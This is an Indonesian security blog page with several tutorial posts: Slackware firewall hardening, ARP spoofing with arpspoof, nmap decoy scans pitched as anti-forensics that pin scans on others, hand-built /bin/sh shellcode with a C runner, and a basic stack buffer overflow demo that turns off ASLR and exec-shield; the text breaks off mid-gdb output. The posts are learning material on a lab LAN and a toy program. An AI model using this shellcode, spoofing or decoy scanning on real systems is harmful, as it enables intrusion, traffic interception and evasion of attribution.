Artikel Terkini

Monday, September 10, 2012

armoring linux slackware 13.37

0 comments
Slackware adalah distro Linux tertua yang masih eksis. Distro linux tertua sebenarnya SLS (Softlanding Linux System), tetapi sudah tidak eksis lagi. Makanya ‘bisa dibilang’ Slackware adalah Linux distro tertua hehe. Mengacu pada status seorang teman “tulislah apa yang kamu kerjakan, kerjakanlah apa yang kamu tulis” yah sudah lah akhirnya saya putuskan di hari libur ini untuk menuliskan apa yang sudah saya kerjakan haha.

Dari judul posting ini, “Armoring Linux Slackware 13.37″ yang sebenarnya sudah saya lakukan adalah meningkatkan pengamanan komputer saya dan juga menambah senjata di arsenal (gudang senjata). Sehingga inilah beberapa hal yang sudah dilakukan untuk melakukan ‘armoring’. Secara garis besar dibagi ke dua aspek: defense dan offense.
Pertama, defense, adalah meningkatkan keamanan pada Slackware dengan membuat Intrusion Prevention System berbasis Snort dan BlockIt.  Selain itu, saya juga melakukan modifikasi pada informasi server untuk menghindari hal-hal yang tidak diinginkan dengan teknik “security by obscurity” hahah.. silakan dibaca dulu maksudnya di link tersebut. Satu lagi pada aspek defense adalah menyisipkan rule pada iptables agar blocking koneksi SSH yang berlebihan (bruteforce). Syntax nya seperti ini:
iptables -A INPUT -p tcp –dport 22 -m state –state NEW -m recent –set –name SSH
iptables -A INPUT -p tcp –dport 22 -m state –state NEW -m recent –update –seconds 60 –hitcount 3 –rttl –name SSH -j DROP
Bagi yang belum mengerti maksud syntax iptables di atas, bisa baca postingan saya disini. Sebenarnya ada satu rule lagi yang saya entry, yaitu blokir ping. Sehingga host lain tidak bisa melakukan ping ke komputer saya. Syntax iptablesnya seperti ini:
iptables -A INPUT -p icmp –icmp-type 8 -s 0/0 -m state –state NEW,ESTABLISHED,RELATED -j DROP
Arti syntax diatas adalah jika ada paket masuk ke chain INPUT protokol ICMP tipe 8 (ping) statenya NEW, ESTABLISHED, atau RELATED dilakukan DROP. Sehingga paket ICMP ping tidak bisa melakukan mekanisme seperti biasanya (request <–> response) tetapi malah seperti ini (request –> block)
Sebenarnya ada lagi satu sisi untuk pengamanan, yaitu patch sistem itu sendiri. Misalnya apakah sistem rawan terhadap stack dan buffer overflow, file system permission, application security, dll. Tetapi belum sempat dilakukan pada tahap ini.
Kedua, offense, adalah dengan menginstall tools untuk melakukan serangan. Berikut beberapa tools yang saya install
Password crackers:
-THC Hydra
-John the Ripper
Sniffing tool:
-Wireshark
Vulnerability scanner:
-OpenVAS
Web vulnerability scanner:
-Nikto
Wireless tool:
-Aircrack-ng
-Kismet
Packet crafter:
-Hping3
Exploitation arsenal:
-Metasploit Framework
Beberapa tool di atas sudah sempat saya posting tentang pengalaman saya menggunakannya, yang belumnya semoga bisa diposting segera hehe.
Baca Selengkapnya →

basic ARP spoofing dasar dari segala lelucon lan

0 comments
Iseng-iseng nonton video di youtube tentang mencuri password, mencetuskan ide saya memposting ini. Bahwa sebenarnya cara pertama yang dilakukan sebelum sniff packet IP orang lain pada jaringan “switched” pasti menggunakan teknik ini. Mari kita bongkar cara mencuri packet IP tahap pertama ini. Karena inti dari segala kegiatan hacking LAN-nya ada di tahap ini. Packet IP orang lain itu akan dialihkan menuju komputer anda, bukan ke tujuan mestinya.
Sebelumnya bagi yang lupa apa itu ARP silahkan googling dulu dan bagi yang mau tau secara singkat proses komunikasi data. Jika sudah ada sedikit ilmu tentang ARP, mari kita mulai berskenario ARP spoofing hehehe.
LAN Percobaan
LAN Percobaan
Jadi ada komputer B (192.168.220.1) yang akan mengirim data ke komputer A (192.168.220.129). Seperti yang kita ketahui dalam prinsip komunikasi data di layer 2, untuk mengirim data dari B ke A, maka interface card komputer B akan me-resolv alamat fisik (MAC address) komputer A. Biar gampang alamat fisiknya 4 karakter terakhirnya aja. Jadi bagi interface komputer B, untuk mengirim data ke komputer A adalah kirim data ke interface card dengan alamat fisik XX:XX:XX:XX:86:2c. Nah bagaimana kalau kita bilang ke-B kalau alamat fisik A adalah XX:XX:XX:XX:f7:2a (padahal ini ‘kan alamat fisik C hehe). Pasti frame dari komputer B akan menuju ke komputer EVIL (yang dikira si B adalah interface A). Oh ya, frame itu yang membungkus packet IP. Untuk membaca data, tinggal menggunakan teknik tertentu untuk mendekapsulasi frame, packet, dan segmen.
Format enkapsulasi dari Data, Segments, Packets, Frames
Format enkapsulasi dari Data, Segments, Packets, Frames
Sekarang cara konkritnya. Apakah yang harus dilakukan oleh komputer EVIL untuk rencana jahat paragraf di atas hehe. Caranya adalah dengan menggunakan ‘arpspoofing’. Salah satu program dalam bundel dsniff punya Mr. Dug Song. Tapi kalau mau install hanya ‘arpspoof’ nya aja juga gak apa apa.
Oke jalankan command ‘arpspoof’ seperti yang terlihat di gambar ini:
ARP Spoof Command
ARP Spoof Command
Command tersebut akan menggenarate ARP reply dari komputer EVIL yang ditujukan kepada komputer B (192.168.220.1). Yang intinya akan memberitahukan berita HOAX (hehe) bahwa IP 192.168.220.129 itu mempunyai MAC address (XX:XX:XX:XX:f7:2a) dan komputer B percaya saja karena tidak ada filter autentikasi atau verifikasi di layer 2 haha. Dann.. beginilah akibat setelah proses spoofing terhadap komputer B:
Efek ARP Spoofing Sebelum dan Sesudah
Efek ARP Spoofing Sebelum dan Sesudah
Setelah frame komputer B bisa kita alihkan ke komputer kita, banyak kreatifitas yang bisa kita lakukan. Diantaranya:
  • Ya itu tadi, dibongkar untuk dibaca isi nya
  • Melakukan SSL Strip
  • Mutusin koneksi internet komputer B! Bagaimana cara mutusin koneksi komputer B? Caranya, bilang saja ke komputer B bahwa MAC address gateway internet adalah blablabla (jangan MAC address aseli interface gateway tentu saja ya! hahah). Jadi frame tidak akan pernah sampai ke interface gateway internet kan?
Ngomong-ngomong ada tips sederhana bagi yang ingin tidak terkena spoof ARP. Yaitu, sebelum konek ke sebuah IP di LAN, hafalin juga MAC address tujuan anda itu! hahaha. Atau kalau mau ya entry table ARP anda dengan entry static, ok?! bukan dynamic seperti di atas.
Semua bermula dari konsep. Kompleks itu terdiri dari kesederhanaan-kesederhanaan. Dadah… hahahah…
Baca Selengkapnya →

nmap decoy, umpan anti forensik

0 comments
Daripada ga ada yang ditulis di blog mending posting ini ah.. yang ternyata belum pernah saya posting.. haha sapa tau berguna. Ya pasti semua sudah tau tools nmap lah.. Itulah dia tools portscanning terkenal dan menjadi tools yang wajib dimiliki seorang Security Practitioner (halah). By the way, silahkan ke sectools.org untuk melihat Top 100 Network Security Tools. Itu isinya tools2 security keren2 yang harus dimiliki kalau anda suka dunia security. Ranking berdasar respon para pemerhati security yang melakukan polling di milis. Halah kok jadi ngomongin tools2 security, yang pengin saya bahas disini cuma nmap decoy aja padahal.. hahaha…
Nmap decoy adalah salah satu fitur pada nmap yang berguna menjadi umpan bagi target ketika melakukan traceback penyerangan atau bisa juga jadi pengecoh forensik. Dengan nmap decoy akan dihasilkan alamat-alamat palsu (hahaha) penyerang. Pada log komputer target akan terlihat sumber serangan berasal dari banyak IP address (padahal bisa saja aslinya cuma 1 penyerang yang melakukan nmap decoy). Untuk melakukan nmap decoy adalah dengan menambahkan opsi “-D” pada syntax nmap diikuti alamat-alamat palsunya. Misalnya seperti ini…
Syntax Menjalankan nmap Decoy
Syntax Menjalankan nmap Decoy
Dari gambar di atas, bisa dilihat di baris ke-1 (paling atas) adalah syntax penggunaan decoy. Jadi untuk syntax diatas:
nmap -sS 3.3.3.1 -D 192.168.3.1,192.168.3.2,192.168.3.3,192.168.3.4,192.168.3.5
maka akan dilakukan portscanning ke target IP 3.3.3.1 dengan umpan alamatnya 192.168.3.1 sampai 192.168.3.5
Oh iya sayang sekali di gambar tidak ada keterangan kalau penyerang aselinya ada di IP address 1.1.1.2, tapi percayalah bahwa IP penyerangnya adalah itu. Hahah. Dann.. ini lah log di firewall…
Log Serangan Pada Target
Log Serangan Pada Target
Terlihat ada alamat-alamat decoy bisa masuk juga di log serangan pada target. Alamat-alamat decoy tersebut bisa menjadi umpan untuk mengecoh counter-attack yang mungkin dilakukan target ke kita dan bisa jadi anti-forensik untuk memfitnah pelaku portscanning. Jadi siapa yang kentut? Saya, anda, atau si Jenal? Ah.. yang kentut si Mamat tuh! Decoy nih hahaha..
Baca Selengkapnya →

shellcode exploite db

0 comments
Oke di postingan kali ini, mari kita sedikit review tentang apa itu shellcode dan kenapa formatnya aneh gak terbaca seperti itu (ini contoh potongan shellcode: \xeb\x19\x31\xc0). Gara-gara ngebuka halaman shellcode exploite db jadi kepikiran untuk ngebuat postingan ini hehe. Nah sebenarnya apa itu shellcode dan kenapa format stringnya geje seperti itu akan dibahas secara gamblang ala saya disini haha. Gak usah takut bacanya, karena penulis bahasanya sangat tidak formil jadi mestinya bisa mudah dimengerti ahahah…
Shellcode adalah code yang diberikan kepada prosesor komputer untuk mengeksekusi perintah yang hanya dimengerti komputer. Karena mesin cuma mengerti angka 0 atau 1, sebenarnya instruksi/code ke mesin dengan menggunakan binary 0 dan 1, tetapi per 8 digit binary dapat direpresentasikan sebagai 1 byte dengan code hexa, dan juga tentu saja lebih mudah dipahami manusia ketimbang kita input angka 0 dan 1 sebanyak 8x lipat barisan hexa hahah. Bagi yang suka nge-heker pasti tau shellcode itu berbeda dengan exploit.. Kalau exploit adalah satu kesatuan sistem penghancur, sedangkan payload adalah sesuatu yang dibawa dalam exploit.
Analoginya kalau seorang penyusup mau membobol datacenter nih.. ceritanya dia bawa botol aer minum sama kertas bertuliskan ‘Siram’. Yang dimaksud exploit adalah satu kesatuan orang + botol air minum + kertas bertuliskan “Siram”. Payload exploitnya adalah botol air minum. Shellcodenya adalah instruksi “Siram” nya. Jadi exploit ini anggaplah akan masuk ke datacenter membawa botol air. Sesampai di datacenter ketemu sama orang datacenternya (dalam hal nyatanya: prosesor komputer -yang memproses instruksi-) dan si orang kita itu ngasihin kertas (shellcode) bertuliskan “Siram”. Sehingga jebol lah perangkat di datacenter di siramin. Ahihihii..
Jadi kalau kita mau nge-heker yang paling susah dibuat itu shellcode-nya ya? Oh justeru yang paling susah dibuat tuh exploitnya, karena harus kita bundle dengan payload dan shellcode. Selain itu si orang yang bawa botol air dan kertas (dalam contoh tadi) harus kita rancang juga biar dia berlakon sesuai rencana a.k.a programming maksud saya. Pertama mungkin program si doi buat loncat via jendela, masuk ke dalam gedung harus cari posisi ruang datacenter (algoritmia mencari datacenter hahah), kalo di lantai 1 ga ada, harus cari lift atau tangga, kalau udah ketemu gimana buka pintu datacenter, dsb.
Dan pada postingan kali ini, pembahasan dibatas hanya scope shellcode sehingga diharapkan bisa paham secara gamblang dulu tentang shellcodenya. Semoga ada waktu untuk ngebahas exploit dan payload.. Seremmm.. yang pasti liat source buatan orang aja ah.. ahahahah…
Ada yang harus kita ketahui terlebih dahulu tentang register di prosesor yang tugasnya mengekusi instruksi (apapun) yang diberikan kepadanya. Register ini bernama EIP (Extended Instruction Pointer kalo gak salah kepanjangannya hahah). Nah kasarnya yang akan kita lakukan kedepan, register EIP ini yang harus kita overwrite dengan isi shellcode kita. Dalam analogi di atas tadi, artinya kita harus cari orang datacenter dan berikan kertas bertuliskan “Siram” tadi kepadanya. Karena semua instruksi dia yang akan eksekusi.
Dalam programming, seluruh “data” program yang berada di memori yang alamatnya tersimpan di EIP dianggap “code”. Sedangkan lainnya adalah “data” biasa (variable, parameter, argumen, dsb). Nah program C dibawah ini adalah program yang variable “str” nya akan ditunjuk oleh EIP untuk dieksekusi, karena variable str telah menjadi sebuah fungsi setelah dicasting dengan pointer to function dengan (void (*)(void)).
1#include <stdio.h>
2char str[] = "\x00\x00\x00\x00\x00";
3int main(void) {
4        ((void (*)(void))str)(); // str()
5        return 0;
6}
Program diatas jika dicompile dan dijalankan akan memiliki data str = “\x00\x00\x00\x00\x00″ yang berada di alamat memory tertentu. Sedangkan “((void (*)(void))str)();” akan mengisi EIP dengan value dari alamat memory variable str berada. Sesaat kemudian EIP menunjuk alamat memory tersebut untuk dieksekusi prosesor. Jika hexa “\x00\x00\x00\x00\x00” kita benar, maka akan mendapatkan hasil yang kita inginkan. Untuk itu mari sekarang kita buat hexa a.k.a shellcodenya.
PRINTOUT: HELLO – SHELLCODE
Untuk membuat shellcode dengan menggunakan bahasa assembly. Ini adalah program yang akan memunculkan tulisan ‘hello’ kemudian exit:
Hello.asm
Hello.asm
Save dengan nama hello.asm kemudian kompile dengan NASM akan menghasilkan file object hello.o. Setelah itu link-kan object file dengan executable file bernama apa saja. Jadi deh.. Silahkan coba dieksekusi…
01inan@eniac:~/Desktop/shellcode$ nasm -f elf hello.asm #akan menghasilkan file 'hello.o'
02inan@eniac:~/Desktop/shellcode$ ld -o hello hello.o  #linking obj file 'hello.o' ke file binary bernama 'hello'
03inan@eniac:~/Desktop/shellcode$ ./hello #eksekusi 'hello'. test aja...
04helloinan@eniac:~/Desktop/shellcode$
05inan@eniac:~/Desktop/shellcode$ objdump -d hello
06 
07hello:     file format elf32-i386
08 
09Disassembly of section .text:
10 
1108048060 :
12 8048060:   eb 19                   jmp    804807b
13 
1408048062 :
15 8048062:   31 c0                   xor    %eax,%eax
16 8048064:   31 db                   xor    %ebx,%ebx
17 8048066:   31 d2                   xor    %edx,%edx
18 8048068:   31 c9                   xor    %ecx,%ecx
19 804806a:   b0 04                   mov    $0x4,%al
20 804806c:   b3 01                   mov    $0x1,%bl
21 804806e:   59                      pop    %ecx
22 804806f:   b2 05                   mov    $0x5,%dl
23 8048071:   cd 80                   int    $0x80
24 8048073:   31 c0                   xor    %eax,%eax
25 8048075:   b0 01                   mov    $0x1,%al
26 8048077:   31 db                   xor    %ebx,%ebx
27 8048079:   cd 80                   int    $0x80
28 
290804807b :
30 804807b:   e8 e2 ff ff ff          call   8048062
31 8048080:   68 65 6c 6c 6f          push   $0x6f6c6c65
32 8048085:   77 6f                   ja     80480f6
33 8048087:   72 6c                   jb     80480f5
34 8048089:   64                      fs
Setelah itu keliatanlah hexa dump yang bagian tengah itu.. ya itu lah shellcode kita. Sedangkan code yang berisi instruksi secara manusiawi pada kolom kanannya. Sehingga shellcode untuk stdout ‘hello’ adalah berurut dari atas sampai bawah (ki-ka) plus ditambah pemisah “\x” (format hexa) adalah seperti dibawah ini:
\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f
Coba copy paste shellcode ini ke program C  di atas, kemudian compile dan jalankan.. pasti akan ada stdout “hello” di output programnya hehehe…
“THE SHELL” – SHELL CODE
Sepertinya kurang asik kalau shellcode yang dihasilkan gak ada interaksi dengan kita atau not in our control… Nah shellcode yang paling populer adalah mengoverwrite EIP untuk mengeksekusi instruksi memanggil binary /bin/sh atau shell sejenisnya. Inilah asal muasal kenapa bernama shell code a.k.a “kode untuk shell”. Mari buat lagi dengan menggunakan assembler.. Pada sistem linux, system call yang bertugas mengeksekusi suatu executable file adalah execve() dengan format sebagai berikut:
int execve(const char *filename, char *const argv[], char *const envp[]);
Dalam assembler execve() direpresentasikan dengan interrupt no.11 (0xb). Sehingga pada register prosesor:
  • Kasarnya formatnya kek gini –> EAX (EBX, ECX, EDX) sama ‘kan dengan format syscall execve() di atas?
  • EAX: int no 11 = 0xb
  • EBX: sebagai parameter ke-1 berisi const char “bin/sh”
  • ECX: sebagai parameter ke-2 bertipe array of string, {“/bin/sh”,NULL}
  • EDX: sebagai parameter ke-3 NULL (envp[] gak akan kita gunakan)
Sehingga seperti inilah kode assemblernya:
Shell.asm
Shell.asm
Kalo liat source Shell.asm diatas, ada push 0x68732f2f itu apa hayoo.. Hehe.. itu string untuk “hs//” dan yang satunya lagi “nib/” dibalik karena ini stack atau tumpukan… Coba aja konversi hexa ke ASCII heheh.. Kok “/” nya dua kali? Sebenarnya biar cukup 4 byte alokasi dan lagian ga ada bedanya kok eksekusi /bin/sh vs /bin//sh (coba aja). Nah setelah itu di dump seperti cara sebelumnya..
01inan@eniac:~/shellcode$ objdump -d shell
02 
03shell:     file format elf32-i386
04 
05Disassembly of section .text:
06 
0708048060 :
08 8048060:   31 c0                   xor    %eax,%eax
09 8048062:   31 db                   xor    %ebx,%ebx
10 8048064:   31 c9                   xor    %ecx,%ecx
11 8048066:   31 d2                   xor    %edx,%edx
12 8048068:   50                      push   %eax
13 8048069:   68 2f 2f 73 68          push   $0x68732f2f
14 804806e:   68 2f 62 69 6e          push   $0x6e69622f
15 8048073:   89 e3                   mov    %esp,%ebx
16 8048075:   50                      push   %eax
17 8048076:   53                      push   %ebx
18 8048077:   89 e1                   mov    %esp,%ecx
19 8048079:   31 d2                   xor    %edx,%edx
20 804807b:   b0 0b                   mov    $0xb,%al
21 804807d:   cd 80                   int    $0x80
Nah… didapatkanlah shellcode untuk spawn shell adalah seperti ini:
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
Saya rekayasa lagi source program C di bagian atas posting ini (tinggal paste-in shellcode ini) sehingga source codenya menjadi seperti ini:
1#include <stdio.h>
2char str[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
3int main(void) {
4        ((void (*)(void))str)(); // str()
5        return 0;
6}
Kompile dan jalankan..
1inan@eniac:~/Desktop/shellcode$ gcc -o code-exec code-exec.c
2inan@eniac:~/Desktop/shellcode$ ./code-exec
3$ id
4uid=1000(inan) gid=1000(inan) groups=1000(inan),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare)
5$ pwd
6/home/inan/Desktop/shellcode/
7$ exit
8inan@eniac:~/Desktop/shellcode$
Spawn a shell dengan sempurna! Berarti shellcode kita \x31\xc0…blablabla…\xcd\x80 emang benar hehe. Semoga bermanfaat…
Baca Selengkapnya →

buffer overflow (very) basic example

0 comments
Sepertinya kurang lengkap kemarin saya nulis artikel tentang membuat shellcode tanpa tau bigimana manfaatin shellcodenya hehe. Pada kesempatan kali ini saya akan menjelaskan contoh real bagaimana manfaatin shellcode itu dengan memanfaatkan bug sebuah program. Untuk teori buffer overflownya tidak akan dijelaskan secara detail lagi disini, rencananya saya cuma pengen nulis dan capture hasil nya aja tanpa basa basi heheh. Jadi diharapkan pembaca sudah mengetahui pembagian (segmentasi) memori, register-register processor, dan shellcode. Baiklah kita mulai saja men-demokan apa kah itu buffer overflow…
Teknik bufferflow adalah teknik untuk memenuhi buffer pada program dengan code yang kita inginkan sehingga melebihi kapasitas buffer. Hal ini terjadi karena tidak dilakukan validasi pada buffer ketika pengisian buffer akan dilakukan. Contoh analoginya: ambil air 500mL di gelas A untuk di tuang ke gelas B yang cuma 100mL dah. Biasanya akan ada warning “Segmentation Fault” dan program akan crash/exit. Sebenarnya kita bisa memanfaatkan segmentasi yang overrun ini untuk hal-hal yang lebih menyenangkan daripada sekedar lihat program crash dan exit.
Ini adalah program S9 = “sangat sederhana sekali sehingga saya selalu sedih saat showing-nya” haha. Program ini bekerja dengan cara membaca argumen yang dimasukkan user dan akan ditampung ke buffer A. Di dalam program akan dilakukan penyalinan buffer A ke buffer B. Tapi buffer B dirancang oleh sang programmer hanya bisa muat dengan 3 bytes data. Saya memasukkan “abc” ke buffer. Seperti ini lah tampilannya:
1inan@ubuntu:~/Desktop/bof/demo$ ./S9 abc
2[ATURAN] buffer B hanya bisa menampung 3 bytes data
3[BEFORE] ini buffer A masukan anda: abc
4[BEFORE] ini buffer B sekarang:
5[PROCESSING...] menyalin isi buffer A ke buffer B
6[AFTER] ini isi buffer A: abc
7[AFTER] ini isi buffer B: abc
8inan@ubuntu:~/Desktop/bof/demo$
Dan ketika kita coba memasukkan input yang lebih dari buffer B seperti terlihat di contoh ke-2 dibawah ini, saya memasukkan “abcdefghijklmnopqrstuvwxyz” terjadi segmentation fault pada program.
1inan@ubuntu:~/Desktop/bof/demo$ ./S9 abcdefghijklmnopqrstuvwxyz
2[ATURAN] buffer B hanya bisa menampung 3 bytes data
3[BEFORE] ini buffer A masukan anda: abcdefghijklmnopqrstuvwxyz
4[BEFORE] ini buffer B sekarang:
5[PROCESSING...] menyalin isi buffer A ke buffer B
6[AFTER] ini isi buffer A: abcdefghijklmnopqrstuvwxyz
7[AFTER] ini isi buffer B: abcdefghijklmnopqrstuvwxyz
8Segmentation fault
9inan@ubuntu:~/Desktop/bof/demo$
Mari kita lihat program ini lewat GNU Debugger untuk examine memori lebih dalam dan untuk kebutuhan exploitasi kita.
01inan@ubuntu:~/Desktop/bof/demo$ gdb S9
02GNU gdb (GDB) 7.2
03Copyright (C) 2010 Free Software Foundation, Inc.
04License GPLv3+: GNU GPL version 3 or later
05This is free software: you are free to change and redistribute it.
06There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
07and "show warranty" for details.
08This GDB was configured as "i686-linux-gnu".
09For bug reporting instructions, please see:
11Reading symbols from /home/inan/Desktop/bof/demo/S9...(no debugging symbols found)...done.
12(gdb) run abcdefghijklmnopqrstuvwxyz
13Starting program: /home/inan/Desktop/bof/demo/S9 abcdefghijklmnopqrstuvwxyz
14[ATURAN] buffer B hanya bisa menampung 3 bytes data
15[BEFORE] ini buffer A masukan anda: abcdefghijklmnopqrstuvwxyz
16[BEFORE] ini buffer B sekarang:
17[PROCESSING...] menyalin isi buffer A ke buffer B
18[AFTER] ini isi buffer A: abcdefghijklmnopqrstuvwxyz
19[AFTER] ini isi buffer B: abcdefghijklmnopqrstuvwxyz
20 
21Program received signal SIGSEGV, Segmentation fault.
220x73727170 in ?? ()
23(gdb) info reg ebp eip
24ebp            0x6f6e6d6c 0x6f6e6d6c
25eip            0x73727170 0x73727170
Nah.. aturannya kan segmen memori untuk memproses program ini adalah:
  • Buffer: 3 bytes
  • Flags: 8 bytes
  • EBP: 4 bytes
  • RET/EIP: 4 bytes
  • Variable-variable lain (kalau ada)
Berarti teorinya kalau 3 byte pertama yang diterima adalah “abc”, terus karena isi buffer A masih banyak, terjadi overflow… Sehingga “defghijk” (8 bytes) menimpa isi Flags, “lmno” menimpa register EBP dan “pqrs” menimpa EIP. Nah setelah diinspeksi isi register ebp adalah 0x6f6e6d6c yang mana kalau di translasikan ke ASCII = “onml”. Lah kok kebalik bukan “lmno”? Ya, di memory semua diurut terbalik karena arsitektur sistem saya adalah menganut little endian format. Yah lanjut, kita cuekin saja isi register ebp karena singkatnya inti exploitasi buffer overflow adalah ingin menimpa register EIP dengan 4 bytes magic kita sendiri hahah. Yah isi eip untuk kasus di atas menjadi “srqp”. Berarti kesimpulannya untuk meng-overwrite EIP, “pqrs” harus kita ganti menjadi 4 bytes yang menuju ke instruksi yang kita inginkan (misalnya memanggil shell dsb).
Masih penasaran.. sekarang saya coba memasukkan karakter “abcdefghijklmnoAAAA” ke program S9 kita ini. Dengan harapan seperti ini:
  • Buffer: 3 bytes = abc
  • Flags: 8 bytes = defghijk
  • EBP: 4 bytes = lmno
  • RET/EIP: 4 bytes = AAAA
Inilah hasilnya ketika di debug dengan gdb..
01(gdb) run abcdefghijklmnoAAAA
02The program being debugged has been started already.
03Start it from the beginning? (y or n) y
04 
05Starting program: /home/inan/Desktop/bof/demo/S9 abcdefghijklmnoAAAA
06[ATURAN] buffer B hanya bisa menampung 3 bytes data
07[BEFORE] ini buffer A masukan anda: abcdefghijklmnoAAAA
08[BEFORE] ini buffer B sekarang:
09[PROCESSING...] menyalin isi buffer A ke buffer B
10[AFTER] ini isi buffer A: abcdefghijklmnoAAAA
11[AFTER] ini isi buffer B: abcdefghijklmnoAAAA
12 
13Program received signal SIGSEGV, Segmentation fault.
140x41414141 in ?? ()
15(gdb) info reg ebp eip
16ebp            0x6f6e6d6c   0x6f6e6d6c
17eip            0x41414141   0x41414141
18(gdb)
Oh benar saja ternyata eip sekarang berisi hexa 0×41414141. Apakah itu huruf “A” yang mengganti “pqrs” tadi? Ya huruf “A” dalam hexa adalah 0×41. Berarti sudah benar posisi target injeksi kita. Sekarang tinggal injeksi register EIP dengan address memori yang kita inginkan. Inget-inget… letaknya kalau diinjeksi dengan urutan abjad setelah huruf “o”. Berarti pola kita untuk meng-overwrite EIP unuk program ini adalah “15 bytes dummy data” + 4 bytes data spesial yang akan meng-overwrite EIP. Nah, bagaimana kalau kita mau overwrite EIP dengan hexa 0×42424242 di program ini? Berarti tinggal masukan saja argumen “abcdefghijklmnoBBBB” ke program. Ngerti kan? Hehe..
SPAWN A SHELL
Sekarang kita ke contoh bagaimana caranya program rutin yang error bisa memanggil sebuah shell? Pada contoh kali ini asumsi fitur proteksi eksekusi (exec_sheild dan randomize alamat memori pada kernel Linux sudah di matikan. Fitur exec-shield adalah untuk mencegah program mengeksekusi code diluar program. Sedangkan fitur randomize_va_space membuat alamat memori ketika menjalankan program akan menjadi random. Matikan itu semua! hahahah…
1root@ubuntu:~# cat /proc/sys/kernel/exec-shield
21
3root@ubuntu:~# cat /proc/sys/kernel/randomize_va_space
42
5root@ubuntu:~# echo 0 > /proc/sys/kernel/exec-shield
6root@ubuntu:~# echo 0 > /proc/sys/kernel/randomize_va_space
7root@ubuntu:~#
Salah satu cara eksploitasi program ini adalah dengan menyimpan sebuah variable yang isinya adalah shellcode ke environment global shell. Sehingga kita akan export variable baru bernama SC yang berisi shellcode kita. Setelah di export, variable SC ini akan tersimpan di lokasi memori tertentu dan lokasi memori inilah yang akan kita cari dan overwrite ke EIP. kita sudah tau bagaimana cara membuat shellcode hingga bisa nongol file shellcode.txt ini hehe.
01inan@ubuntu:~/Desktop/bof/demo$ cat shellcode.txt
02\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
03inan@ubuntu:~/Desktop/bof/demo$ for i in $(cat shellcode.txt | cut -d \" -f2); do echo -en $i; done > shellcode.bin
04inan@ubuntu:~/Desktop/bof/demo$ hexdump -C shellcode.bin
0500000000  31 c0 31 db 31 c9 31 d2  50 68 2f 2f 73 68 68 2f  |1.1.1.1.Ph//shh/|
0600000010  62 69 6e 89 e3 50 53 89  e1 31 d2 b0 0b cd 80     |bin..PS..1.....|
070000001f
08inan@ubuntu:~/Desktop/bof/demo$ export SC=$(cat shellcode.bin)
09inan@ubuntu:~/Desktop/bof/demo$
10inan@ubuntu:~/Desktop/bof/demo$
11inan@ubuntu:~/Desktop/bof/demo$ echo $SC
121?1?1?1?Ph//shh/bin??PS??1?
13 
14inan@ubuntu:~/Desktop/bof/demo$
Yak sudah tersimpan di environment dengan nama variable SC. Oke, sekarang mari kita kembali ke GNU Debug (gdb) untuk mencoba mencari lokasi SC dan mengambilnya untuk nantinya dimasukkan ke format inputan program “abcdefghijklmnoXXXX“.
01(gdb) run abcdefghijklmnopqrs
02Starting program: /home/inan/Desktop/bof/demo/S9 abcdefghijklmnopqrs
03[ATURAN] buffer B hanya bisa menampung 3 bytes data
04[BEFORE] ini buffer A masukan anda: abcdefghijklmnopqrs
05[BEFORE] ini buffer B sekarang:
06[PROCESSING...] menyalin isi buffer A ke buffer B
07[AFTER] ini isi buffer A: abcdefghijklmnopqrs
08[AFTER] ini isi buffer B: abcdefghijklmnopqrs
09 
10Program received signal SIGSEGV, Segmentation fault.
110x73727170 in ?? ()
12(gdb) x/60s $esp + 0x200
130xbffff5c0:  "S\357\226\372_\265\335Grf\212i686"
140xbffff5d0:  ""
150xbffff5d1:  ""
160xbffff5d2:  ""
170xbffff5d3:  ""
180xbffff5d4:  ""
190xbffff5d5:  ""
200xbffff5d6:  "/home/inan/Desktop/bof/demo/S9"
210xbffff5f5:  "abcdefghijklmnopqrs"
220xbffff609:  "ORBIT_SOCKETDIR=/tmp/orbit-inan"
230xbffff629:  "SSH_AGENT_PID=1357"
240xbffff63c:  "SHELL=/bin/bash"
250xbffff64c:  "TERM=xterm"
260xbffff657:  "XDG_SESSION_COOKIE=cfdd4f557767d56545519f8400000005-1324474801.529476-721973490"
270xbffff6a7:  "WINDOWID=60817411"
280xbffff6b9:  "GNOME_KEYRING_CONTROL=/tmp/keyring-FMmlCA"
290xbffff6e3:  "GTK_MODULES=canberra-gtk-module"
300xbffff703:  "USER=inan"
310xbffff70d:  "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31"...
320xbffff7d5:  ":*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:---Type  to continue, or q  to quit---
33*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.d"...
340xbffff89d:  "eb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35"...
